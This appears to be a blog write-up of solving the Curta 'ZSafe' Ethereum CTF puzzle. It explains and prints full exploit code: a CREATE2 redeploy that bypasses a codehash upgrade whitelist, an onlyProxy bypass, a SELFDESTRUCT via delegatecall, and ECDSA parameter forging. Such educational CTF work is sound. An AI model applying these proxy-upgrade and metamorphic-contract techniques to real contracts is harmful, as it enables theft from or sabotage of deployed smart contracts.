# Introduction It was 1 AM. I was just meaninglessly scrolling down my X (formerly Twitter) timeline before I go to sleep... and I came accross to [this puzzle](https://www.curta.wtf/puzzle/base:5) from [Jazzy](https://twitter.com/ret2jazzy). At first, I thought it won't be hard to solve this (spoiler: it was not), and I was just like, "This would take about 3 hours, so let's solve this and go to sleep" (it was 1 AM at that time, and well, lately I slept at 4~6 PM). However it turned out this puzzle is much harder than first look, and it kept me awake until 11 AM until I finally solved this puzzle. Yeah, I spent 10 hours for solving this puzzle (though this includes the time for doing KYC to purchase ETH from an exchange, creating ENS domain since I didn't have it and I wanted to have my name on the leaderboard rather than random hex characters, and so on...). Following is the writeup I wrote for this puzzle. # Writeup ## The first look At first, I skimmed the code, and found: ```solidity contract SafeCurta is IPuzzle { mapping(uint => SafeChallenge) public factories; function name() external pure returns (string memory){ return "ZSafe"; } function generate(address _seed) public returns (uint256){ return uint256(keccak256(abi.encode("Can you unlock the safe?", _seed))); } function verify(uint256 _start, uint256) external returns (bool) { return factories[_start].isUnlocked(); } function deploy(uint256 _start, address owner) external returns (address) { bytes32 rng_seed = keccak256(abi.encodePacked(_start)); factories[_start] = new SafeChallenge(owner, rng_seed); return address(factories[_start]); } } ``` So it seems I need to deploy SafeChallenge through `deploy()`, "unlock" it, and call `verify()` to solve this puzzle. So I looked the code of SafeChallenge. ```solidity contract SafeChallenge { bytes32 public seed; SafeProxy public proxy; bool public isUnlocked; constructor(address owner, bytes32 _seed){ //init both SafeProxy impl1 = new SafeSecret(); SafeProxy impl2 = new SafeSecretAdmin(); bytes32[] memory whitelist = new bytes32[](2); whitelist[0] = address(impl1).codehash; whitelist[1] = address(impl2).codehash; bytes memory init_data = abi.encodeCall(impl1.initialize, (owner, whitelist)); address proxy_impl = address(new ERC1967Proxy(address(impl1), init_data)); proxy = SafeProxy(proxy_impl); seed = _seed; isUnlocked = false; } function unlock(bytes32[3] calldata r, bytes32[3] calldata s) external { for(uint i = 0; i < 2; ++i){ require(uint(r[i]) < uint(r[i+1])); } for(uint i = 0; i < 3; ++i){ check(r[i], s[i]); } isUnlocked = true; } function check(bytes32 _r, bytes32 _s) internal { uint8 v = 27; address owner = proxy.owner(); //-------- bytes32 message1_hash = keccak256(abi.encodePacked(seed, address(0xdead))); bytes32 r1 = transform_r1(_r); bytes32 s1 = transform_s1(_s); address signer = ecrecover(message1_hash, v, r1, s1); require(signer != address(0), "no sig match :<"); require(signer == owner, "no owner match :<"); //--------- bytes32 message2_hash = keccak256(abi.encodePacked(seed, address(0xbeef))); bytes32 r2 = transform_r2(_r); bytes32 s2 = transform_s2(_s); address signer2 = ecrecover(message2_hash, v, r2, s2); require(signer2 != address(0), "no sig match :<"); require(signer2 == owner, "no owner match :<"); //-------- } function transform_r1(bytes32 r) internal pure returns (bytes32) { return r; } function transform_s1(bytes32 s) internal view returns (bytes32) { return bytes32(uint256(s) ^ proxy.p2()); } function transform_r2(bytes32 r) internal view returns (bytes32) { unchecked{ return bytes32(uint256(r) + proxy.p1()); } } function transform_s2(bytes32 s) internal view returns (bytes32) { return keccak256(abi.encodePacked(uint256(s) ^ proxy.p2(), seed)); } } ``` `unlock()` function does: - receive three pairs of r, s-value - assert if given three r values are strictly increasing - run `check(r, s)` respectively - unlock itself `check(r, s)` function does: - call `proxy.owner()` to get an address - recover the signer of the signature `(27, transform_r1(r), transform_s1(s))`, with the message `keccak256(seed + (0xdead).to_bytes(20))` - if the signer does not match with an address above, revert - recover the signer of the signature `(27, transform_r2(r), transform_s2(s))`, with the message `keccak256(seed + (0xbeef).to_bytes(20))` - if the signer does not match with an address above, revert - return So we should find the r, s-value which become valid ECDSA signature for specific secp256k1 key pair after `transform_*` functions. Each `transform_*` functions' behaviors are: * `transform_r1`: returns `r` * `transform_s1`: returns `s ^ proxy.p2()` * `transform_r2`: returns `r + proxy.p1()` * `transform_s2`: returns `keccak256(s ^ proxy.p2() + seed)` Note that `transform_s2` looks quite different. For other functions, you can inversely calculate the `(r, s, p1, p2)` from the transformed values you want to get. However, you can't do that on `transform_s2`, since its return value is based on the output of hash algorithm. Let's quickly recap the ECDSA algorithm. The following equation holds for valid ECDSA signature: $$ sk \equiv rd + z \pmod n $$ , where $k$ is random nonzero value, $z$ is the hash of message, $d$ is the private key, $r \equiv x \pmod n$, and $x$ is the x-coordinate of $k \times \mathrm G$. Can we generate a valid pair of $(k, r)$ from the given $(s, d, z)$? Well, probably not. $r$ is the value related to $x$, and the relation between $k$ and $x$, is quite complicated. For example, let me show you the part of addition formula on a prime order elliptic curve: $$ \begin{align} X_3 & = Y_1Y_2(X_1Y_2 + X_2Y_1) − aX_1X_2(Y_1Z_2 + Y_2Z_1) \\ & − a(X_1Y_2 + X_2Y_1)(X_1Z_2 + X_2Z_1) − 3b(X_1Y_2 + X_2Y_1)Z_1Z_2 \\ & − 3b(X_1Z_2 + X_2Z_1)(Y_1Z_2 + Y_2Z_1) + a^2(Y_1Z_2 + Y_2Z_1)Z_1Z_2 \end{align} $$ , where $X_i$, $Y_i$, and $Z_i$ are the x, y, z-coordinate of two points to add. This is the part of single addition formula. Note that scalar multiplication on curve is generally done by double-and-add method. No doubt that its equation would be crazyingly complex. So let's assume we can't generate a valid pair of $(k, r)$ from the given $(s, d, z)$. I'm not sure this is impossible: This might be possible with multiple cryptographers and computers. But I won't do that anyway since I'm neither a cryptographer nor a computer. How about to generate $d$ from the given $(k, r, s, z)$? This is easy, because simply $d \equiv r^{-1}(sk - z) \pmod n$. So you can generate a private key which has a signature with the given message and s-value. But no, this doesn't fix all problems. These were the `transform_*` functions' behaviors: * `transform_r1`: returns `r` * `transform_s1`: returns `s ^ proxy.p2()` * `transform_r2`: returns `r + proxy.p1()` * `transform_s2`: returns `keccak256(s ^ proxy.p2() + seed)` So far, we calculated the valid `r2 == r + proxy.p1()` from the given `s2 == keccak256(s ^ proxy.p2() + seed)`. Now we should calculate `r1 == r2 - proxy.p1()` from the given `s ^ proxy.p2()`. Bummer---this is exactly the case generating a valid pair of $(k, r)$ from the given $(s, d, z)$, which we assumed impossible just before. Let's see the code again. ## The `proxy` I skipped this above, but `proxy.owner()`, `proxy.p1()` and `proxy.p2()` can be changed by us (spoiler: this is not enough). `proxy` points to the ERC-1967 proxy contract, which has the simple implementation in default: ```solidity contract SafeSecret is SafeProxy { function p1() external view virtual override returns (uint256){ return p1_secret; } function p2() external view virtual override returns (uint256){ return p2_secret; } } ``` , where `p*_secret` comes from: ```solidity abstract contract SafeProxy is OwnableUpgradeable, SafeUpgradeable { uint256 internal p1_secret; uint256 internal p2_secret; function initialize(address owner, bytes32[] calldata whitelisted_hashes) public initializer{ for(uint i = 0; i < whitelisted_hashes.length; ++i){ whitelist[whitelisted_hashes[i]] = true; } p1_secret = uint256(keccak256(abi.encodePacked(keccak256(abi.encode(uint256(blockhash(block.number))))))); p2_secret = uint256(keccak256(abi.encodePacked(keccak256(abi.encode(p1_secret))))); __Ownable_init(owner); } function p1() external view virtual returns (uint256); function p2() external view virtual returns (uint256); } ``` So `proxy.owner()` comes from the input value, but `proxy.p1()` and `proxy.p2()` is determined by recent block hash. Well, however, you can upgrade the proxy contract! As long as a new implementation satisfies the following condition: ```solidity function _authorizeUpgrade(address newImplementation) internal { require(whitelist[newImplementation.codehash], "wtf no whitelisted no hacc pls"); } ``` , where whitelist consists of SafeSecret (which was above) and SafeSecretAdmin contracts: ```solidity SafeProxy impl1 = new SafeSecret(); SafeProxy impl2 = new SafeSecretAdmin(); bytes32[] memory whitelist = new bytes32[](2); whitelist[0] = address(impl1).codehash; whitelist[1] = address(impl2).codehash; bytes memory init_data = abi.encodeCall(impl1.initialize, (owner, whitelist)); address proxy_impl = address(new ERC1967Proxy(address(impl1), init_data)); ``` , you can change the implementation of the proxy contract. SafeSecretAdmin contract looks like: ```solidity contract SafeSecretAdmin is SafeProxy { uint256 private offsetp1; uint256 private offsetp2; function p1() external view virtual override returns (uint256){ unchecked{ return p1_secret+offsetp1; } } function p2() external view virtual override returns (uint256){ unchecked{ return p2_secret+offsetp2; } } function set_offset(uint256 _p1, uint256 _p2) external { offsetp1 = _p1; offsetp2 = _p2; } } ``` So after we change the implementation to SafeSecretAdmin, we can set `proxy.p1()` and `proxy.p2()` to the value you want. Great! ...No, in fact, it isn't great. Let's see the `check()` function again. ```solidity function check(bytes32 _r, bytes32 _s) internal { uint8 v = 27; address owner = proxy.owner(); //-------- bytes32 message1_hash = keccak256(abi.encodePacked(seed, address(0xdead))); bytes32 r1 = transform_r1(_r); bytes32 s1 = transform_s1(_s); address signer = ecrecover(message1_hash, v, r1, s1); require(signer != address(0), "no sig match :<"); require(signer == owner, "no owner match :<"); //--------- bytes32 message2_hash = keccak256(abi.encodePacked(seed, address(0xbeef))); bytes32 r2 = transform_r2(_r); bytes32 s2 = transform_s2(_s); address signer2 = ecrecover(message2_hash, v, r2, s2); require(signer2 != address(0), "no sig match :<"); require(signer2 == owner, "no owner match :<"); //-------- } ``` The problem we suffered above was, if you generate the signature and key pair which passes the second signature match (which was obviously harder), you can't generate the first signature match from that key pair. One way to sort out this problem is, to change the `proxy.p1()` and `proxy.p2()` values between `transform_s1(_s)` and `transform_r2(_r)`. Then, now you can set `s1` to the any value you want, which make the first match valid. And... this is impossible with SafeSecretAdmin contract. Basically `unlock()` and `check()` functions does not give its execution context to any other contracts except the `proxy`, so we cannot call `proxy.set_offset()` (that is, change `proxy.p1()` and `proxy.p2()`) during the `unlock()`. Actually, I skipped something more above -- also you cannot generate three signatures (with unique r-value) which satisfies the first match, even if you can change the `proxy.p1()` and `proxy.p2()` values. You can sort out this if you can change `proxy.owner()` value during the `check()`, but you just can't change `owner` on SafeSecretAdmin! Yeah, it seems impossible even with SafeSecretAdmin. ## The `codehash` and `CREATE2` However, why should we only have used SafeSecretAdmin at first? Let's read the code again. ```solidity SafeProxy impl1 = new SafeSecret(); SafeProxy impl2 = new SafeSecretAdmin(); bytes32[] memory whitelist = new bytes32[](2); whitelist[0] = address(impl1).codehash; whitelist[1] = address(impl2).codehash; ``` ```solidity function _authorizeUpgrade(address newImplementation) internal { require(whitelist[newImplementation.codehash], "wtf no whitelisted no hacc pls"); } ``` So, this is the problem: it checks the `newImplementation.codehash`, which only allows the new implementation's code to be SafeSecret's one or SafeSecretAdmin's one. Can't we exploit somthing here? There is---`CREATE2` is the thing. Probably you'd know [the security implication of the `CREATE2`](https://ethereum-magicians.org/t/potential-security-implications-of-create2-eip-1014/2614), but let me explain again: - In EVM, when you deploy a contract, what you submitted is the "init code" - The "init code" initialize the storage and returns the "contract code", which will be the code of the contract - `CREATE2` is the opcode which makes address deterministic based on the init code (and something else) - When the contract `SELFDESTRUCT`ed, the contract can be redeployed to the same address with `CREATE2`, as long as the init code isn't changed. - If your init code is nondeterministic (e.g. based on the result of external calls), **you can redeploy the different contract code to the same address** And it seems our `_authorizeUpgrade()` can be bypassed through this consequence, by doing: - write a custom init code which reads the contract code from the external contract - run `CREATE2` with the init code, deploy the contract code of SafeSecret - upgrade the proxy to the implementation contract we just deployed - make the implementation contract do `SELFDESTRUCT` - run `CREATE2` with the init code, deploy the arbitrary contract code (probably the code with changing `proxy.owner()`, `proxy.p1()`, and `proxy.p2()`) - now the proxy contract runs the arbitrary contract code we deployed Writing a custom init code is simpler than you think: ```solidity bytes memory initCode = abi.encodePacked( hex"63", hex"<signature for the function which returns code>", hex"60E01B600052600060006004600073", address(codeOracle), hex"5AFA3D600060003E6020516040F3"); ``` It sounds cool, but we still have some nits here: - We should make the SafeSecret contract do `SELFDESTRUCT`. How? - Since `proxy.owner()`, `proxy.p1()`, and `proxy.p2()` are view functions, they are called with `STATICCALL` and no state change is allowed --- It's not easy to find the number the function is called. Fortunately, we can sort out all of these nits. ## The `upgradeToAndCall()` We should make the SafeSecret contract do `SELFDESTRUCT`, but SafeSecret itself doesn't have `SELFDESTRUCT`. How can we make this possible? In order to upgrade the proxy contract, you need to call `upgradeToAndCall()` function. This function resides in an implementation contract, not a proxy contract. This `upgradeToAndCall()` function does: - check if the function call came from the proxy contract, not to the implementation contract directly - run `_authorizeUpgrade()` to check if this upgrade is authorized (e.g. `msg.sender` is the admin/owner/on-chain governance/etc of the contract) - On this puzzle, this checks the `codehash` of the implementation contract, and we have just bypassed this ;) - run `ERC1967Utils.upgradeToAndCall()`. This function does: - change the value of the implementation storage slot to new one - do `DELEGATECALL` to the new implementation with the given calldata It looks promising. We may call the `upgradeToAndCall()` function of the implementation contract directly. While changing the value of the implementation storage slot does nothing here (since we're calling the implementation contract directly, not the proxy contract which reads the value of the implementation storage slot), `DELEGATECALL` is definitely something you can exploit here. You can "upgrade" the implementation contract to the contract which has the function with `SELFDESTRUCT`. The implementation contract will `DELEGATECALL` to the contract which does `SELFDESTRUCT`, resulting the `SELFDESTRUCT` of the implementation contract. However, to avoid this issue, they implemented the logic which prevents `upgradeToAndCall()` function being called in the context of non-proxy contract: ```solidity address private immutable __self = address(this); function _checkProxy() internal view virtual { if ( address(this) == __self || ERC1967Utils.getImplementation() != __self ) { revert("No hacc"); } } modifier onlyProxy() { _checkProxy(); _; } // NOTE: upgradeToAndCall() has the onlyProxy modifier ``` So we should bypass this. Note that `__self` is an immutable variable. Its value is hardcoded into the contract code. Since we deployed the original SafeSecret implementation contract code to the new address, `address(this) == __self` will be false and we don't have to bypass something here. But `ERC1967Utils.getImplementation() != __self` will be true, because the value of the implementation storage slot is zero on the implementation contract, and `__self` has nonzero value. You would remember that we have deployed this implementation contract using the custom init code we just wrote: ```solidity bytes memory initCode = abi.encodePacked( hex"63", hex"<signature for the function which returns code>", hex"60E01B600052600060006004600073", address(codeOracle), hex"5AFA3D600060003E6020516040F3"); ``` Here, how about to set the value of the implementation storage slot, on the init code? We can write some code a little more: ```solidity bytes memory initCode = abi.encodePacked( hex"73", // original SafeSecret implementation contract code address(secretCodeAddress), hex"7F", // implementation storage slot hex"360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc", hex"55", // SSTORE hex"63", hex"<signature for the function which returns code>", hex"60E01B600052600060006004600073", address(codeOracle), hex"5AFA3D600060003E6020516040F3"); ``` This makes `ERC1967Utils.getImplementation() != __self` be false. We just bypassed the `onlyProxy` check, which makes possible to run `SELFDESTRUCT` our implementation contract! ## The `STATICCALL` Now this is the last problem. ```solidity function owner() public view virtual returns (address) { ... } function p1() external view virtual returns (uint256); function p2() external view virtual returns (uint256); ``` Here, `proxy.owner()`, `proxy.p1()`, and `proxy.p2()` functions are view function. Thus, the call toward the proxy contract during the `check()` will be done through `STATICCALL`, which disable the modification of state. Due to this, it's not easy to count the number that the function gets called. There are multiple ways to overcome this issue. I utilized the left gas value and compared it to the hardcoded threshold to distinguish each function calls. [Philogy.eth utilized the gas usage difference which comes from cold/warm storage access](https://philogy.github.io/posts/curta-zsafe-writeup/#:~:text=we%20can%20make%20these%20view%20methods%20stateful%20by%20taking%20advantage%20of%20the%20EVM%E2%80%99s%20storage%20cold/warm%20gas%20accounting). Well, I like Philogy's idea more since it's clean and interesting. But anyway I didn't come up with that one while I solve the puzzle, so I implemented my idea. ## Solution code Implementing all of the above ideas, the puzzle can be solved. This is the solution code I wrote: :::spoiler The script generating `(owner, p1, p2)` ```python from py_ecc.secp256k1 import * from eth_account import Account import random from Crypto.Hash import keccak random = random.SystemRandom() def keccak_hash(data): h = keccak.new(digest_bits=256) h.update(data) return h.digest() def xor(a, b): assert type(a) == type(b) == bytes assert len(a) == len(b) return bytes([x ^ y for x, y in zip(a, b)]) cnt = 0 while cnt < 3: seed = bytes.fromhex("0958d715d36a7c52227e80b7ec3d30b1ca5c546d637a55d04dec2851d0dbf7da") z1b = keccak_hash(seed + bytes.fromhex("000000000000000000000000000000000000dead")) z1 = int.from_bytes(z1b) z2b = keccak_hash(seed + bytes.fromhex("000000000000000000000000000000000000beef")) z2 = int.from_bytes(z2b) k2 = random.randrange(N) r2, _ = secp256k1.multiply(G, k2) s2 = int.from_bytes(keccak_hash((0).to_bytes(32) + seed)) priv = ((s2 * k2 - z2) * pow(r2, -1, N)) % N pub = secp256k1.multiply(G, priv) if pub != ecdsa_raw_recover(z2b, (27, r2, s2)): continue v1, r1, s1 = ecdsa_raw_sign(z1b, priv.to_bytes(32)) if v1 != 27: continue r = r1 s = 0 p1 = r2 - r1 p21 = s1 p22 = s2 if p1 < 0: continue acct = Account.from_key(priv.to_bytes(32)) print() print("r", r.to_bytes(32).hex()) print("s", s.to_bytes(32).hex()) print("p1", p1) print("p2 first", p21) print("p2 second", 0) print(acct.address) cnt += 1 ``` ::: :::spoiler Solution contract code ```solidity // SPDX-License-Identifier: UNLICENSED pragma solidity 0.8.20; import {IPuzzle, ICurta, CheatCodes} from "common/interfaces.sol"; import {SafeCurta, SafeChallenge, SafeProxy, SafeSecret} from "./puzzle.sol"; import "forge-std/console.sol"; contract Suicider { function kill() public { selfdestruct(payable(0x0)); } } contract CustomSecret { uint256 bar0dot5 = 0; uint256 bar1 = 0; uint256 bar1dot5 = 0; uint256 bar2 = 0; uint256 bar2dot5 = 0; event G(uint256 g); function owner() public returns (address) { uint256 gas = gasleft(); console.logUint(gas); if (bar1 < gas) { return address(0xc8c94CC8644f9BdC3524b4ea9e1dd8187946C966); } else if (bar2 < gas) { return address(0xd169ed8c71Ae0ca1D2D447E2010E1cfd02573d26); } else { return address(0xe2D1B45ed7C2Fca4Ca8B2E48C943e6Ac03B4c70E); } } function p1() public returns (uint256) { uint256 gas = gasleft(); console.logUint(gas); if (bar1 < gas) { return 22959031541865579690012270923899231161794777199584212689643911114732311566580; } else if (bar2 < gas) { return 10372775157988192454771889917331138868847753522689182790507321396345101591078; } else { return 24879082722996552292457064544138997102333283487313889423597847235984601758719; } } function p2() public returns (uint256) { uint256 gas = gasleft(); if (bar0dot5 < gas) { return 1146978572266725363715897327483161516171340824306893692555388590967726744457; } else if (bar1 < gas) { return 0; } else if (bar1dot5 < gas) { return 5253028323934719697715241400381287069226847634054604237365851740336039938575; } else if (bar2 < gas) { return 0; } else if (bar2dot5 < gas) { return 50774417718371481850589657274920339794050614158582595431946233004092013488734; } else { return 0; } } function reset() public { bar0dot5 = 956019; bar1 = 949355; bar1dot5 = 942308; bar2 = 935279; bar2dot5 = 927983; } function kill() public { selfdestruct(payable(0x0)); } } contract CodeOracle { address addr = address(0x0); function code() public returns (bytes memory code) { return addr.code; } function setCodeAddress(address newAddr) public { addr = newAddr; } function kill() public { selfdestruct(payable(0x0)); } } contract ZSafeSolver { CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D); ICurta curta = ICurta(0x00000000D1329c5cd5386091066d49112e590969); IPuzzle puzzle; CodeOracle codeOracle; address secretCodeAddress; SafeChallenge challenge; function setUp() public { cheats.createSelectFork("base"); deploy(); secretCodeAddress = address(uint160(uint256(cheats.load(address(challenge.proxy()), bytes32(0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc))))); phase1(); } function testSolve() public { phase2(); } function setAddress(address addr) public { secretCodeAddress = addr; } function deploy() public { (puzzle, , ) = curta.getPuzzle(5); address jinseo = address(0x1DDBb832f7968cACaD28411AdCd70510eD390090); SafeCurta _puzzle = SafeCurta(address(puzzle)); uint256 start = _puzzle.generate(jinseo); challenge = SafeChallenge(_puzzle.deploy(start, jinseo)); } function phase1() public { assert(secretCodeAddress != address(0x0)); address jinseo = address(0x1DDBb832f7968cACaD28411AdCd70510eD390090); Suicider suicider = new Suicider(); codeOracle = new CodeOracle(); codeOracle.setCodeAddress(secretCodeAddress); bytes memory initCode = abi.encodePacked( hex"73", address(secretCodeAddress), hex"7F", hex"360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc", hex"55", hex"63", hex"24c12bf6", hex"60E01B600052600060006004600073", address(codeOracle), hex"5AFA3D600060003E6020516040F3"); address impl; assembly { impl := create2( 0, // wei sent with current call // Actual code starts after skipping the first 32 bytes add(initCode, 0x20), mload(initCode), // Load the size of code contained in the first 32 bytes 0 // Salt from function arguments ) if iszero(extcodesize(impl)) { revert(0, 0) } } assert(impl.codehash == address(secretCodeAddress).codehash); challenge.proxy().upgradeToAndCall(address(impl), ""); bytes32[] memory hashes = new bytes32[](1); hashes[0] = address(suicider).codehash; SafeProxy(impl).initialize(jinseo, hashes); SafeProxy(impl).upgradeToAndCall(address(suicider), abi.encodeCall(suicider.kill, ())); CustomSecret customSecret = new CustomSecret(); codeOracle.setCodeAddress(address(customSecret)); } function phase2() public { address jinseo = address(0x1DDBb832f7968cACaD28411AdCd70510eD390090); address impl; bytes memory initCode = abi.encodePacked( hex"73", address(secretCodeAddress), hex"7F", hex"360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc", hex"55", hex"63", hex"24c12bf6", hex"60E01B600052600060006004600073", address(codeOracle), hex"5AFA3D600060003E6020516040F3"); assembly { impl := create2( 0, // wei sent with current call // Actual code starts after skipping the first 32 bytes add(initCode, 0x20), mload(initCode), // Load the size of code contained in the first 32 bytes 0 // Salt from function arguments ) if iszero(extcodesize(impl)) { revert(0, 0) } } bytes32[3] memory r; bytes32[3] memory s; r[0] = bytes32(0x3a2115e69f37ad3749cdb0c11945caaa888bbf581358e9838da3f5180d190d1d); r[1] = bytes32(0x779e60538dd24acec83f63dd2395cac4a56e0b1b5ff7c9575bb22b8e5862ddc0); r[2] = bytes32(0xb939808fb4d4371cd62690eeaeefcbf494348a17811f3150f9c21baa834cadd6); s[0] = bytes32(0); s[1] = bytes32(0); s[2] = bytes32(0); CustomSecret(address(challenge.proxy())).reset(); challenge.unlock{gas: 1000000}(r, s); assert(challenge.isUnlocked()); CustomSecret(impl).kill(); CustomSecret(address(challenge.proxy())).kill(); codeOracle.kill(); selfdestruct(payable(0x0)); } } ``` ::: <br> Some notes: - You need to change the hardcoded seed on the script. - I used Foundry's test feature to test my solution, so you can do so. - The execution flow of this contract code during the test is a little bit complicated. - `setUp()` calls `deploy()`, reads the address of the implementation using cheatcodes, then calls `phase1()`. - `testSolve()` calls `phase2()`. - I separated `deploy()` and `phase1()`, because it's not possible to get the address of the originally deployed SafeSecret contract inside the EVM, hence it should be separated while I actually solve this puzzle. - I also separated `phase1()` and `phase2()`, because the `SELFDESTRUCT` is applied after the transaction finishes. - The execution flow of the contract code on the actual blockchain was like this: - I called `deploy()`, and found the address of the originally deployed SafeSecret contract . - I supplied the address using `setAddress()`. - I called `phase1()` and `phase2()`. - My address is hardcoded in the contract code. - For `deploy()`, you should change this to your address. - For other functions, it's free to change this to any address. - I put my address there, but there's no good reason for that :P # Conclusion It was my first time to solve a puzzle on Curta, and it was really fun. Big kudos to [Jazzy](https://twitter.com/ret2jazzy) who invented this puzzle! I was really surprised by its sophistication. I recommend you to try implementing the solution yourself --- It will be definitely enjoyable and educational. Lastly, this is the obligatory random cat picture: ![A cat with half-closed eyes, sitting on the chair](https://hackmd.io/_uploads/r1FbbfwK6.jpg)